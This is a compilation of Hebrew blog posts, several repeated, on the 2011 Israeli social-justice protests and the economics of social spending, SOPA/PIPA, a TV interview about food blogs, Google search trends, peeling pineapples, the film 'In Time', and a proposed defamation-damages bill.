בעצם זה ברור לכולנו באופן אינטואיטיבי: כלכלת המדינה מפיקה ערך רב מכך שהחברה באותה מדינה בריאה יותר, משכילה יותר, לא חיה ברחוב ולא חיה בפחד מתמיד לבטחונה הכלכלי.
יש כלכלנים שמציעים לראות ב"תקציבים החברתיים" מוצר ציבורי, שרק המדינה יכולה לספק. ואכן, כמו כבישים, צבא או מערכת משפט, אפשר להסכים שקשה לקיים חיי מדינה תקינים ומשק משגשג עם 1.7 מיליון עניים, ולכן התערבות (מסוימת לפחות) של המדינה היא הכרחית.
זו נוסחא שאולי קלה יותר להבנה למי שהתפתו בעבר להאמין שכוחות השוק יכולים לפתור כל בעיה. בסופו של דבר, גם הם יכולים להבין את השלכות התסיסה החברתית על היציבות הכלכלית.
אבל באותו אופן גם קל לבסס את הקשר בין השקעה בחינוך לבין צמיחה, ואת הנזק שגורמת המגמה הקיימת בישראל, של גלגול ההוצאה על חינוך מקופת המדינה לכיסי ההורים (התוצאה הלא מפתיעה היא שאי-השוויון בהכנסה מתורגם לאי-שוויון ביכולת ההשתכרות ובפריון של הדור הבא, ובשלב זה בירידה של תלמידי ישראל בדירוגים בינלאומיים).
לא את כל התועלות הנובעות מהשקעה בשירותים חברתיים אפשר לכמת ולשלב בנוסחאות, אבל יש מספיק דוגמאות לכלכלות שבהן מדיניות אחרת הובילה לתוצאות טובות יותר, גם במונחים של צמיחה וגם במונחים של "צדק חברתי".
11:09 כבר סיפרו לכם ש"צדק חברתי" עולה כסף, אבל האם שאלתם את עצמכם מהו הערך הכלכלי של חברה בריאה ומתפקדת? (פוסט אורח מאת אחי החריף, שוקי גלילי)
אנחנו בתקופה בה רבים שואלים את עצמם ואת זולתם, מה השיגה מחאת הקיץ ומה עשויה להשיג מחאה בכלל, וכיצד ראוי למחות. ככל שהדיון הזה חשוב, הוא לא מייתר את העיסוק בשאלות הקשורות לערכים, המטרות והעקרונות של המדינה בה אנחנו רוצים לחיות.
מצד אחד, תנועות המחאה המקומיות והעולמיות עוסקות הרבה בשאלות הקשורות לידע ולמידע, כולל חופש המידע, הזכות לדעת ועצם האפשרות לדעת דברים בעולם של דיסאינפורמציה (אם תרצו, זהו ה"מה אני יכול לדעת"). חלקן גם לא רואות עין בעין בנושא הלגיטימיות והאפקטיביות של אפיקי מחאה שונים ("מה אני רשאי לעשות").
ומצד שני, מטרות קונקרטיות ומוצהרות של המאבק (חינוך חינם מגיל שלושה חודשים, סיוע חירום לניצולי שואה שמצבם הכלכלי קשה, הסדרת ענף השכירות בחוק, תקצוב דיור ציבורי ודיור בר השגה, העברת עובדי קבלן להעסקה ישירה, וכו') לא מייצגות השקפת עולם קוהרנטית אחת אלא אוסף של פתרונות לבעיות שהן תוצאת השיטה הקיימת.
להחליף את השיטה?
רבים, חלקם עדיין "בשטח" גם בימים האלה ואחרים בוודאי יצטרפו בחודשים הבאים, נחושים באמונה ובדרישה ל"צדק חברתי". דרישה אינטואיטיבית שמבטאת את הכמיהה למדינה שמושתת על ערכים כמו ערבות הדדית וכבוד האדם, ומצייתת לציווי "לא תוכל להתעלם" (דברים כ"ב פסוק ג').
אבל בשורה התחתונה, רוב האנשים עדיין שבויים בתפיסה שרווחה, ביטחון כלכלי ודאגה לחלש הם מין "מס" שעלינו לשלם כדי להיות מוסריים יותר, או כדי שאנחנו בעצמנו לא נהפוך יום אחד "נזקקים למיניהם" כפי שקרא לזה נתניהו.
בכך יש, לפחות במידה מסוימת, הפנמה של הגישה לפיה סעד תמיד יבוא על חשבון צמיחה ולהפך – גישה שזוכה פרס נובל לכלכלה ג'וזף שטיגליץ לועג לה ומכנה אותה "פנאטית" (ראו הרחבה על כך בפוסטים "האמת על האינפלציה החוזרת" ו"השקר הניאו-ליברלי").
אדרבא, אומר שטיגליץ, מדיניות כלכלית שכרוכה ביצירת עוני והגדלת פערים, תמיד מערערת את היציבות החברתית באופן שמוביל למשברים כלכליים. יותר מזה: המדיניות הזו, כשלעצמה, היא זו שיוצרת את המשברים, וכמעט תמיד זה מתחיל בבועה נדל"נית. נשמע מוכר?
הערך הכלכלי של ההוצאה הציבורית
ערכים לא זקוקים להנמקה רציונלית. אין צורך לנמק מדוע כל ניצול שואה הנמצא במצוקה הוא חרפה למדינה ולחברה בישראל.
אבל כשרוצים לתרגם את הערכים למדיניות, כדאי לדעתי לדבר גם על ערך כלכלי וליצור סביבו מסגרת של דיון רציונלי. תמיד יהיו מי שיציבו מכשולים בטענה ש"אין כסף" – טענה רציונלית, גם אם לא נכונה. לטענות כאלה אפשר להשיב גם תשובות אידיאולוגיות ערכיות, אבל לא רק.
ספיבק-יונה טענו שלהמלצות טרכטנברג אין משמעות, כי טרכטנברג התעקש על חוק כלל ההוצאה, שמשמעותו המעשית היא שההוצאה הממשלתית לא הייתה משתנה לו ההמלצות היו מיושמות – רק הסעיפים היו משתנים.
אבל אפשר לטעון טענה מרחיקת לכת יותר: לא רק ש"תקציבים חברתיים" לא עולים כסף שאין, אלא שרובם מהווים השקעה טובה. כלומר, מלבד טענת ה"יש כסף" של שפיבק-יונה, חשוב גם לטעון ולהזכיר ש"זה ישתלם לנו" גם כלכלית.
שירותים "חברתיים" כמנוע צמיחה
בעצם זה ברור לכולנו באופן אינטואיטיבי: כלכלת המדינה מפיקה ערך רב מכך שהחברה באותה מדינה בריאה יותר, משכילה יותר, לא חיה ברחוב ולא חיה בפחד מתמיד לבטחונה הכלכלי.
יש כלכלנים שמציעים לראות ב"תקציבים החברתיים" מוצר ציבורי, שרק המדינה יכולה לספק. ואכן, כמו כבישים, צבא או מערכת משפט, אפשר להסכים שקשה לקיים חיי מדינה תקינים ומשק משגשג עם 1.7 מיליון עניים, ולכן התערבות (מסוימת לפחות) של המדינה היא הכרחית.
זו נוסחא שאולי קלה יותר להבנה למי שהתפתו בעבר להאמין שכוחות השוק יכולים לפתור כל בעיה. בסופו של דבר, גם הם יכולים להבין את השלכות התסיסה החברתית על היציבות הכלכלית.
אבל באותו אופן גם קל לבסס את הקשר בין השקעה בחינוך לבין צמיחה, ואת הנזק שגורמת המגמה הקיימת בישראל, של גלגול ההוצאה על חינוך מקופת המדינה לכיסי ההורים (התוצאה הלא מפתיעה היא שאי-השוויון בהכנסה מתורגם לאי-שוויון ביכולת ההשתכרות ובפריון של הדור הבא, ובשלב זה בירידה של תלמידי ישראל בדירוגים בינלאומיים).
לא את כל התועלות הנובעות מהשקעה בשירותים חברתיים אפשר לכמת ולשלב בנוסחאות, אבל יש מספיק דוגמאות לכלכלות שבהן מדיניות אחרת הובילה לתוצאות טובות יותר, גם במונחים של צמיחה וגם במונחים של "צדק חברתי".
22:39 זה בעצם הפאנצ' ליין של הרצאת TED (מפחידה מאד) של קלי שירקי. צפייה מומלצת ביותר:
אם אתם רוצים עוד פרטים על SOPA ו- PIPA, הנה שני סרטים מצויינים בנושא:
PROTECT IP / SOPA Breaks The Internet from Fight for the Future on Vimeo.
(תודה לרוזוב על הלינק)
11:08 זה בעצם הפאנצ' ליין של הרצאת TED (מפחידה מאד) של קלי שירקי. צפייה מומלצת ביותר:
אם אתם רוצים עוד פרטים על SOPA ו- PIPA, הנה שני סרטים מצויינים בנושא:
PROTECT IP / SOPA Breaks The Internet from Fight for the Future on Vimeo.
(תודה לרוזוב על הלינק)
11:56 אז את עיקר זמני אני מעביר בדברים כמו לאהוב את אישתי וללמוד סטטיסטיקה. אבל בין לבין גם יצא לי להקים כל מיני דברים חמודים, אוכל 101 הוא אחד מאותם אתרים. מדובר באתר שמרכז מאמרים מלמעלה מ- 101 בלוגרי אוכל (חומוס להמונים, הוא כמובן אחד מאותם בלוגים).
אתמול פנו אלי מחדשות ערוץ 2 (כתבת בשם "יעל אודם"), וביקשו ממני להציג נתונים על בלוגי האוכל במסגרת הכתבה "להיט ברשת: בלוגרים של אוכל". אני מופיע בין הדקות 1:05 ו- 1:15:
הלכתי לראיון הזה אתמול (למרות שהוא היה חסר לי כמו קוץ במרק), בגלל שמדובר בחוויה. אומנם כבר יצא לי להתראיין לפחות פעם אחת בטלוויזיה (בערוץ 10, ראיון על הארכת חיים), אבל כל הזדמנות להתנסות בתהליך של יצירת טלוויזיה זו חוויה מלמדת.
אז מה אני יכול להציע לכם לקראת הראיון הטלוויזיוני הבא שלכם:
1) תקחו בפרופורציות 1 – רוב הסיכויים שמראיון שהוקלט במשך 10 דקות (כאשר חוזרים על אותו המשפט שוב ושוב), ישתמשו בסוף רק ב- 10 שניות ממה שאמרתם (זה מה שקרא אצלי – אבל זה היה צפוי, וזה כמובן בסדר)
2) תקחו בפרופורציות 2 – אם המראיינת רוצה בטובתכם, לא יוציאו אתכם רע – אז אפשר להיות רגועים. (אם זה לא המצב – ומדובר בראיון שאיננו משודבר בלייב, אז תשקלו למה אתם עושים את זה)
3) תתכוננו 1 – תוודאו שאתם מגיעים בלבוש מתאים. ההמלצה שאני שמעתי היא לחולצות פשוטות וכהות (בלי פסים או ציורים)
4) תתכוננו 2 – בטלוויזיה אין זמן למשפטים ארוכים, מתוחכמים, חכמים, מדוייקים. רוצים פואנטה – קצרה, קולעת, מדוייקת. זה מה שינסו לקבל מכם, תכינו את עצמכם לזה מראש. תרשמו לעצמכם מראש מהם המשפטים בהם הייתם רוצים להשתמש, ותחזרו עליהם שוב ושוב עד שאתם אומרים אותם בחלקות.
5) יותר קצר מאשר מדוייק – כאשר ביקשו ממני להופיע רצו לדעת משהו מאד מעניין – כמה בלוגרים יש בישראל, ומהי הדמוגרפיה שלהם. עניתי לכתבת מראש ששתי השאלות מצויינות אבל שאף אחד לא ידע לענות את התשובה. לדעת כמה "בלוגרי אוכל יש" או "מיהם" אלו שאלות ענקיות אשר דורשת מחקר (שאף אחד לא עשה). אז במקום זה התפשרנו על זה שאני אתן בשידור את החסם התחתון (140 בלוגרי אוכל עליהם אני יודע, משום שהם נרשמו לאוכל 101). דבר שני שיעל ביקשה ממני זה להגיד מיהם האנשים. גם פה אמרתי – אי אפשר לדעת, אבל רצו ממני תשובה, אז מצאתי שבדף הפייסבוק של האתר יש כ- 800 אנשים (עבורם יש לי סטטיסטיקות של מין וגיל) כאשר ידוע לי שאלו אנשים שהם בלוגרי אוכל וגם קוראים שלהם. אז הבאתי את המספרים הללו כאומדן (גס, וכנראה מוטה) לדמוגרפיית בלוגרי האוכל בישראל (תחת ההנחה שהתמהיל של בלוגרים וקוראי הבלוגים, הוא של אנשים שהם איכשהו דומים – הנחה לא חסרת ביסוס, אבל אשר ראויה למחקר). זו דוגמא לטענה מורכבת שהסברתי למראיינת, אך לצערי לא היה אפשרות להכנס אליה בכתבה. עוד אנקדוטה לחשוב עליה…
לסיכום – אני מודה ליעל אודם על שהזמינה אותי להשתתף. ותודה לקפה קאימאק אשר הסכימו לארח את צוות החדשות ואותי במקום (לוינסקי 49)…
11:04 אז את עיקר זמני אני מעביר בדברים כמו לאהוב את אישתי וללמוד סטטיסטיקה. אבל בין לבין גם יצא לי להקים כל מיני דברים חמודים, אוכל 101 הוא אחד מאותם אתרים. מדובר באתר שמרכז מאמרים מלמעלה מ- 101 בלוגרי אוכל (חומוס להמונים, הוא כמובן אחד מאותם בלוגים).
אתמול פנו אלי מחדשות ערוץ 2 (כתבת בשם "יעל אודם"), וביקשו ממני להציג נתונים על בלוגי האוכל במסגרת הכתבה "להיט ברשת: בלוגרים של אוכל". אני מופיע בין הדקות 1:05 ו- 1:15:
הלכתי לראיון הזה אתמול (למרות שהוא היה חסר לי כמו קוץ במרק), בגלל שמדובר בחוויה. אומנם כבר יצא לי להתראיין לפחות פעם אחת בטלוויזיה (בערוץ 10, ראיון על הארכת חיים), אבל כל הזדמנות להתנסות בתהליך של יצירת טלוויזיה זו חוויה מלמדת.
אז מה אני יכול להציע לכם לקראת הראיון הטלוויזיוני הבא שלכם:
1) תקחו בפרופורציות 1 – רוב הסיכויים שמראיון שהוקלט במשך 10 דקות (כאשר חוזרים על אותו המשפט שוב ושוב), ישתמשו בסוף רק ב- 10 שניות ממה שאמרתם (זה מה שקרא אצלי – אבל זה היה צפוי, וזה כמובן בסדר)
2) תקחו בפרופורציות 2 – אם המראיינת רוצה בטובתכם, לא יוציאו אתכם רע – אז אפשר להיות רגועים. (אם זה לא המצב – ומדובר בראיון שאיננו משודבר בלייב, אז תשקלו למה אתם עושים את זה)
3) תתכוננו 1 – תוודאו שאתם מגיעים בלבוש מתאים. ההמלצה שאני שמעתי היא לחולצות פשוטות וכהות (בלי פסים או ציורים)
4) תתכוננו 2 – בטלוויזיה אין זמן למשפטים ארוכים, מתוחכמים, חכמים, מדוייקים. רוצים פואנטה – קצרה, קולעת, מדוייקת. זה מה שינסו לקבל מכם, תכינו את עצמכם לזה מראש. תרשמו לעצמכם מראש מהם המשפטים בהם הייתם רוצים להשתמש, ותחזרו עליהם שוב ושוב עד שאתם אומרים אותם בחלקות.
5) יותר קצר מאשר מדוייק – כאשר ביקשו ממני להופיע רצו לדעת משהו מאד מעניין – כמה בלוגרים יש בישראל, ומהי הדמוגרפיה שלהם. עניתי לכתבת מראש ששתי השאלות מצויינות אבל שאף אחד לא ידע לענות את התשובה. לדעת כמה "בלוגרי אוכל יש" או "מיהם" אלו שאלות ענקיות אשר דורשת מחקר (שאף אחד לא עשה). אז במקום זה התפשרנו על זה שאני אתן בשידור את החסם התחתון (140 בלוגרי אוכל עליהם אני יודע, משום שהם נרשמו לאוכל 101). דבר שני שיעל ביקשה ממני זה להגיד מיהם האנשים. גם פה אמרתי – אי אפשר לדעת, אבל רצו ממני תשובה, אז מצאתי שבדף הפייסבוק של האתר יש כ- 800 אנשים (עבורם יש לי סטטיסטיקות של מין וגיל) כאשר ידוע לי שאלו אנשים שהם בלוגרי אוכל וגם קוראים שלהם. אז הבאתי את המספרים הללו כאומדן (גס, וכנראה מוטה) לדמוגרפיית בלוגרי האוכל בישראל (תחת ההנחה שהתמהיל של בלוגרים וקוראי הבלוגים, הוא של אנשים שהם איכשהו דומים – הנחה לא חסרת ביסוס, אבל אשר ראויה למחקר). זו דוגמא לטענה מורכבת שהסברתי למראיינת, אך לצערי לא היה אפשרות להכנס אליה בכתבה. עוד אנקדוטה לחשוב עליה…
לסיכום – אני מודה ליעל אודם על שהזמינה אותי להשתתף. ותודה לקפה קאימאק אשר הסכימו לארח את צוות החדשות ואותי במקום (לוינסקי 49)…
15:05 הסתייגות: ברצוני להדגיש שהפוסט שלפניכם איננו מחקר אקדמי. התיאוריה שמוצגת בו איננה בהכרח נכונה, והתוצאות הן בגדר אינטואיציה שנותנת מוטיבציה למחקר, ולא עדות לטענה אמפירית מוצקה לגבי האופן שבו העולם עובד. מוסכם? יופי – עכשיו אפשר להמשיך לקרוא
למי ששכח, בחודשים האחרונים התחילה מחאה חברתית חריפה כנגד (טוב, אני לא בטוח כנגד מה – אבל זה בטוח כנגד!) כל דבר שמונע צדק חברתי.
החלוצה הבלתי מעורערת בהצתת המחאה הקיץ הייתה דפני ליף, ועל כן זה רק טבעי שנבקש להסתכל על נתוני החיפושים בגוגל של ביטוי החיפוש "דפני ליף". אך יחד עם זאת, עוד כמה נושאי שיח צפו להם בחודשים האחרונים – לדוגמא שיחרורו של גילעד שליט והפחד הנוראי מהגרעין האיראני.
סקרן לראות את מידת הסקרנות של גולשי האינטרנט בישראל על שלושת הנושאים הללו – פניתי לבדוק את נתוני החיפוש עבור הביטויים "דפני ליף" (כחול) "גילעד שליט" (אדום) "איראן" (צהוב), עבור שלושת החודשים האחרונים. התוצאות מוגשות לפניכם:
הפרשנות שלי לתוצאות היא הבאה (גם אם לא תחדש דבר לאנשי תקשורת מנוסים, וציניים משהו) – הקשב של הציבור הישראלי (או אולי יכולת המיקוד של תקשורת ההמונים בישראל) מתקשה להתקד ביותר מאג'נדה אחת.
במהלך ספטמבר דפני ליף כיכבה בתקשורת, ואז הגיע שיחרור של גילעד שליט (אשר הגיע לשיאו ב- 18 באוקטובר). עשרה ימים מאוחר יותר (ה-29 לאוקטובר), קיבלנו שיא נוסף במחאה, שלאחריו (בראשון לנובמבר) התחלנו להתעניין שוב באיראן (הגרעין האיראני וכו'…).
אבל, כמו שניתן לשים לב בגרף, כאשר נושא אחד זוכה לשיא (פיק) בתשומת הלב (כפי שמבוטאת במספר החיפושים בגוגל) – כל שאר הנושאים משתתקים. או בפראפרזה על הביטוי "כשהתותחים רועמים, המוזות שותקות" הייתי אומר "כשמשהו רועם, המוזות שותקות".
המשמעות המיידית (גם אם הברורה מעליה היא ש) – לטוב ולרע – מחאות חברתיות בישראל מחוייבות להתמודד עם הקונטקסט הפוליטי חברתי שבו הן פועלות, מתוך ידיעה שהציבור (או התקשורת) יתקשה למקד את תשומת ליבו ביותר מנושא אחד.
(נ.ב: מוטיבציה לכתיבת הפוסט – אייל סלע)
חושבים שאני טועה? יש לכם פרשנות יותר טובה? ספרו לי על זה בתגובות…
21:17 האננס הוא פרי נהדר אשר משמש בשלל מתכונים, החל מקינוחים ובסלטי פירות וכלה בפיצה עם פלחי אננס. לאחרונה הגענו לעונת ביניים משמחת בישראל, שבה ניתן להשיג את פרי האננס במחיר סביר. החיתוך של הפרי הוא יחסית קל, אך כשהגעתי לשלב הקילוף של האננס גיליתי שהתהליך מורכב יותר ממה שהייתי מצפה.
תקריב לאננס הקלוף
בפוסט זה אני מצרף מדריך בתמונות, הסבר מילולי, ווידיאו מלווה – של דרך נוחה (ולא צפויה) להסיר את הקליפה הדוקרנית של האנניס:
מעבר לכך שקליפתו של הפרי דוקרנית, הפרי כולל חורים שנעים לכיוון ליבת הפרי. קילוף ראשוני ושיטחי של הפרי ישאיר אותנו עדיין עם הרבה מאד נקודות שחורות שאינן ניתנות לאכילה. ניתן לקלף עוד שכבה של הפרי, ובכך להסיר את הנקודות השחורות, אבל זו הצורה החובבנית והלא רצויה לחתוך את הפרי. הנה סרטון המדגים כיצד לא לחתוך אננס:
יש גם סרטונים של אנשים שמבינים שזה קצת מוגזם, אז במקום זה הם מציעים לחתוך את העיגולים אחד אחד (גם כן לא מומלץ…):
הסוד בקילופו היעיל של האננס (כזה שמשאיר הכי הרבה פרי), הוא בכך שקליפת הפרי מחולקת למשושים. המשושים באננס מאורגנים בשתי ספירלות משולבות; 8 סיבובים בכיוון אחד ו-13 באחר (שני מספרים עוקבים מסדרת פיבונאצ'י, למי שזה מעניין אותו…). הטריק שבקילוף הפרי מסתמך על תבנית חיתוך אליפסואידית שנעה בכ-45 מעלות במורד הפרי. באמצעות סכין מטבח גדולה, יש לחתוך פיסות משולשות לתוך כיוונו של האננס בצורה האליפסואידית אשר עוקבת אחר המשושים.
כדי להסביר את עצמי טוב יותר, אני מפנה אתכם לסרטון הבא אשר מדגים כיצד לעשות זאת עם סכין מטבח גדולה. החלק המעניין (עבורי) מתחיל בדקה 1:28, שם הבחורה התיאלנדית הנחמדה מדגימה כיצד להתמודד עם הנקודות השחורות:
ואם אתם רוצים לראות איך זה מבוצע עם כלים מקצועיים יותר (אשר לא סביר שיהיה לכם במטבח), תעיפו מבט בסרטון הזה:
עידכון: בעקבות תגובתו של אמנון כרמל לפוסט, נודע לי על גאדג'ט מגניב נוסף לקליפת אננסים. לא ידוע לי אם זה זמין בארץ או לא…
בתיאבון.
0:19 הסרט החדש In Time (בזמן, או כפי שתורגם בארץ "עולם הזמן") יצא לאחרונה לאקרנים והטריילרים שלו שוטפים את דפי הפייסבוק. הנה אחד מהם:
הסרט הזה מחבר שתי סוגיות חשובות ומרתקות: הארכת חיים רדיקלית וחלוקת ההון בחברה המודרנית.
בסרט "עולם הזמן", זמן שווה כסף (או כמו שאחי שוקי אומר "זמן איז מאני"), אבל באופן יותר מוחשי מאשר אי פעם בעבר. הזיקנה, המחלות, כל אלו אינן מהווים יותר שיקול מכריע באיכות החיים שלנו (אתם מצליחים לדמיין זאת?) כל מה שמשנה זה כמה "הון" (="זמן") יש לך.
כבר כיום, כסף קונה איכות חיים (מזון איכותי, פחות לחץ קיומי של פרנסה, טיפול רפואי חדיש ועוד), במובן זה הסרט משקף ומקצין את המצב שקיים כיום. להבנתי, הסרט מזכיר לאנשים כמונו (טרנסהומניסטים, ואנשי בעלי תקווה לחיים ארוכים מאד), שסוגיות כמו צדק חברתי, אשר צף לתודעה סביב מחאת האוהלים, הוא חלק חשוב בהארכת חיים, לא פחות מאשר הטכנולוגיה הרפואית שתוביל אותנו לשם. וזה, בעיני, משהו ששווה לחשוב עליו…
10:59 הסרט החדש In Time (בזמן, או כפי שתורגם בארץ "עולם הזמן") יצא לאחרונה לאקרנים והטריילרים שלו שוטפים את דפי הפייסבוק. הנה אחד מהם:
הסרט הזה מחבר שתי סוגיות חשובות ומרתקות: הארכת חיים רדיקלית וחלוקת ההון בחברה המודרנית.
בסרט "עולם הזמן", זמן שווה כסף (או כמו שאחי שוקי אומר "זמן איז מאני"), אבל באופן יותר מוחשי מאשר אי פעם בעבר. הזיקנה, המחלות, כל אלו אינן מהווים יותר שיקול מכריע באיכות החיים שלנו (אתם מצליחים לדמיין זאת?) כל מה שמשנה זה כמה "הון" (="זמן") יש לך.
כבר כיום, כסף קונה איכות חיים (מזון איכותי, פחות לחץ קיומי של פרנסה, טיפול רפואי חדיש ועוד), במובן זה הסרט משקף ומקצין את המצב שקיים כיום. להבנתי, הסרט מזכיר לאנשים כמונו (טרנסהומניסטים, ואנשי בעלי תקווה לחיים ארוכים מאד), שסוגיות כמו צדק חברתי, אשר צף לתודעה סביב מחאת האוהלים, הוא חלק חשוב בהארכת חיים, לא פחות מאשר הטכנולוגיה הרפואית שתוביל אותנו לשם. וזה, בעיני, משהו ששווה לחשוב עליו…
Posted in ביזבוז זמן (אבל כיף), הארכת חיים, עתידנות
|
Tagged הארכת חיים, הון שלטון, זמן, סינגולריות, סרטים, פערים
|
עידכון: ראיתי את הסרט. עשוי לא משהו (אחד מאותם מקרים שההתחלה מצויינת, אבל התסריטאים לא בדיוק ידעו לאן לקחת אותה…). חבל.
13:51 חוק איסור לשון הרע במדינת ישראל קובע שלשון הרע זה:
"דבר שפרסומו עלול – (1) להשפיל אדם בעיני הבריות או לעשותו מטרה לשנאה, לבוז או ללעג מצדם; (2) לבזות אדם בשל מעשים, התנהגות או תכונות המיוחסים לו; (3) לפגוע באדם במשרתו… בעסקו, במשלח ידו או במקצועו; (4) לבזות אדם בשל גזעו, מוצאו, דתו, מקום מגוריו, מינו או נטייתו המינית".
לאחרונה החליט חבר הכנסת הנכבד מאיר שטרית (הזה שהגה את הרעיון של חוק המאגר הביומטרי) לקדם תיקון לחוק האיסור לשון הרע.
התיקון הוא שבכל מקום שבו כתוב שאפשר לתבוע ב- 50,000 שקל, יהיה מעכשיו ניתן לתבוע ב- 500,000 שקל.
והרי מה שהוא כותב כדי לנמק את הצעתו:
מאז שחוק איסור לשון הרע, התשכ"ה–1965 חוקק הוא הוכיח את עצמו והיה מאד יעיל בתביעות דיבה.
לנוכח העובדה שהתופעה של פגיעה באנשים התרחבה יש צורך בהעלאת רף הענישה כדי להרתיע אנשים מלהוציא דיבה או לשון הרע ולשמור על כבודם של מי שמפורסמות ידיעות בנוגע אליהם. מוצע להעלות את הפיצויים שרשאי בית המשפט לפסוק לטובת מי שנפגע מהוצאת דיבה.
התפלאתי מאד לנוכח הקביעה של כבוד חבר הכנסת מאיר שטרית, שהתופעה של פגיעה באנשים התרחבה. לא ראיתי מחקר כמותי/איכותני שעסק בנושא בעת האחרונה.
גם לא ברור לי האם באמת העלאת הרף פי 10 תסייע בהרתעה באופן שיצדיק את הפגיעה בחופש הדיבור של אנשים ברשת.
מתוך סקרנות, רציתי לבדוק מה היו התביעות שהתרחשו בעת האחרונה נגד בלוגרים ברשת עקב לשון הרע.
חיפוש "תביעת בלוגר" בגוגל, הציף כמה מקרים.
הצעת החוק של ח"כ מאיר שטרית (אשר מוגן מתביעות לשון הרע, מתוקף היותו חבר כנסת), מאפשרת לכל מי שמעוניין לתבוע את האחר, ללא הוכחת נזיקין, על סכום אשר צפוי למוטט את אותו אדם כלכלית.
אבנר פינצ'וק כבר כתב בנושא והציג סיכונים נוספים שמועלים בחוק.
באפשרותכם לעקוב אחר מצב החוק באתר הכנסת הפתוחה.
החוק עבר קריאה טרומית של 10 בעד למול 1 נגד. המתנגד היה ניצן הורוביץ בעוד שהאנשים שהצביעו בעד החוק הגיעו מהליכוד, ש"ס, הבית היהודי ויהדות התורה.
נחמתי היחידה היא שאילו החוק היה עובר, כנראה שמובילי מחאת האוהלים היו מסוגלים להתעשר רק מתביעות הדיבה על הדברים שכתבו כנגדם…
תחי ישראל.
עידכונים:
מאמרים נוספים:
10:43 חוק איסור לשון הרע במדינת ישראל קובע שלשון הרע זה:
"דבר שפרסומו עלול – (1) להשפיל אדם בעיני הבריות או לעשותו מטרה לשנאה, לבוז או ללעג מצדם; (2) לבזות אדם בשל מעשים, התנהגות או תכונות המיוחסים לו; (3) לפגוע באדם במשרתו… בעסקו, במשלח ידו או במקצועו; (4) לבזות אדם בשל גזעו, מוצאו, דתו, מקום מגוריו, מינו או נטייתו המינית".
לאחרונה החליט חבר הכנסת הנכבד מאיר שטרית (הזה שהגה את הרעיון של חוק המאגר הביומטרי) לקדם תיקון לחוק האיסור לשון הרע.
התיקון הוא שבכל מקום שבו כתוב שאפשר לתבוע ב- 50,000 שקל, יהיה מעכשיו ניתן לתבוע ב- 500,000 שקל.
והרי מה שהוא כותב כדי לנמק את הצעתו:
מאז שחוק איסור לשון הרע, התשכ"ה–1965 חוקק הוא הוכיח את עצמו והיה מאד יעיל בתביעות דיבה.
לנוכח העובדה שהתופעה של פגיעה באנשים התרחבה יש צורך בהעלאת רף הענישה כדי להרתיע אנשים מלהוציא דיבה או לשון הרע ולשמור על כבודם של מי שמפורסמות ידיעות בנוגע אליהם. מוצע להעלות את הפיצויים שרשאי בית המשפט לפסוק לטובת מי שנפגע מהוצאת דיבה.
התפלאתי מאד לנוכח הקביעה של כבוד חבר הכנסת מאיר שטרית, שהתופעה של פגיעה באנשים התרחבה. לא ראיתי מחקר כמותי/איכותני שעסק בנושא בעת האחרונה.
גם לא ברור לי האם באמת העלאת הרף פי 10 תסייע בהרתעה באופן שיצדיק את הפגיעה בחופש הדיבור של אנשים ברשת.
מתוך סקרנות, רציתי לבדוק מה היו התביעות שהתרחשו בעת האחרונה נגד בלוגרים ברשת עקב לשון הרע.
חיפוש "תביעת בלוגר" בגוגל, הציף כמה מקרים.
הצעת החוק של ח"כ מאיר שטרית (אשר מוגן מתביעות לשון הרע, מתוקף היותו חבר כנסת), מאפשרת לכל מי שמעוניין לתבוע את האחר, ללא הוכחת נזיקין, על סכום אשר צפוי למוטט את אותו אדם כלכלית.
אבנר פינצ'וק כבר כתב בנושא והציג סיכונים נוספים שמועלים בחוק.
באפשרותכם לעקוב אחר מצב החוק באתר הכנסת הפתוחה.
החוק עבר קריאה טרומית של 10 בעד למול 1 נגד. המתנגד היה ניצן הורוביץ בעוד שהאנשים שהצביעו בעד החוק הגיעו מהליכוד, ש"ס, הבית היהודי ויהדות התורה.
נחמתי היחידה היא שאילו החוק היה עובר, כנראה שמובילי מחאת האוהלים היו מסוגלים להתעשר רק מתביעות הדיבה על הדברים שכתבו כנגדם…
תחי ישראל.
עידכונים:
17:53 אני מרגיש תחושה נהדרת, אני מרגיש שאין סיבה שאכתוב את הפוסט הזה – כי כל כך הרבה אחרים כבר כתבו. כי כל כך הרבה כבר אמרו לנו לצאת עכשיו מהבית לצעדת המליון.
ואולי ככה גם אתם מרגישים, למה לצאת מהבית? הרי אחרים עושים זאת בשבילנו. אפשר פשוט להזמין אותם לאירוע דרך פייסבוק, ולהישאר בבית במזגן.
אבל לא הערב! היום, כולנו יוצאים. כמו ליל הסדר, כמו הצבעה בבחירות. כמו ללכת להופעה של פול סימון. היום – כולנו יוצאים מהבית להפגין, לא בגלל אלא אפילו שאחרים עושים את זה גם.
אני לא יוצא כדי להשפיע, אני יוצא כדי לממש את האופן שבו אני רוצה להיות אזרח במדינה הזאת. כי זוהי הדרך שאני בוחר להגדיר את מי שאני – באמצעות פעולותי. (וגם בגלל שאני מאמין שפעולותינו "מדביקות" את האחרים – ומוציאים גם אותם לפעולה)
שוחחתי עם כמה וכמה חברים בשבועות האחרונים לגבי ההפגנות. מלבד אלו שטענו שלא יצאו כי אלו שמאלנים (הזויים, מעשני נרגילות, כן?), היו גם שהסבירו איך שהמחאה הזו לא ממוקדת. או יותר מידי ממוקדת. שהיא מציאה פתרונות לא נכונים, שזה יוביל ליותר מיסים, לפחות מיסים, לדיור ציבורי, לעודף פיקוח, לתת פיקוח. הנה האמת – אנחנו לא יודעים. אין לאף אחד מאיתנו מושג מה המחאה הזו תעשה.
יש רק דבר אחד שאני יודע שהמחאה עושה – המחאה מציפה לדיון הציבורי סדר יום חברתי כלכלי. לא משנה מהם הפתרונות הספציפיים שייושמו. האם הם יהיו מושלמים, או יביאו איתם בעיות (בטוח הרי שכן). כל מה שחשוב הוא שבחודש וחצי האחרונים, הרבה אנשים חשבו על איכות החיים שלהם באופן שלפני זה הם לא חשבו עליה. זה ישפיע על מה שהם יחפשו לקרוא בעיתון, על נושאי השיחה בסלון, ועל ההצבעה שלהם בכנסת (כן כן, זה מה שזה לדעתי יעשה).
אני לא יוצא הערב כי אני יודע מה צריך לעשות. אני יוצא כי אני יודע על מה לא דיברנו עד לפני חודש וחצי.
לצאת הערב להפגין זה לא לומר מה אתם חושבים שצריך לקרות – אלא זה לומר מהי לדעתכם הבעיה שנבחרי הציבור (הנוכחיים, והאלו שאחריהם) צריכים להתאמץ ולפתור.
אה כן, ועל הדרך המחאה גם האיצה את ההקמה של תשתיות לתרבות אזרחית דמוקרטית יותר בישראל.
מאמרים נוספים:
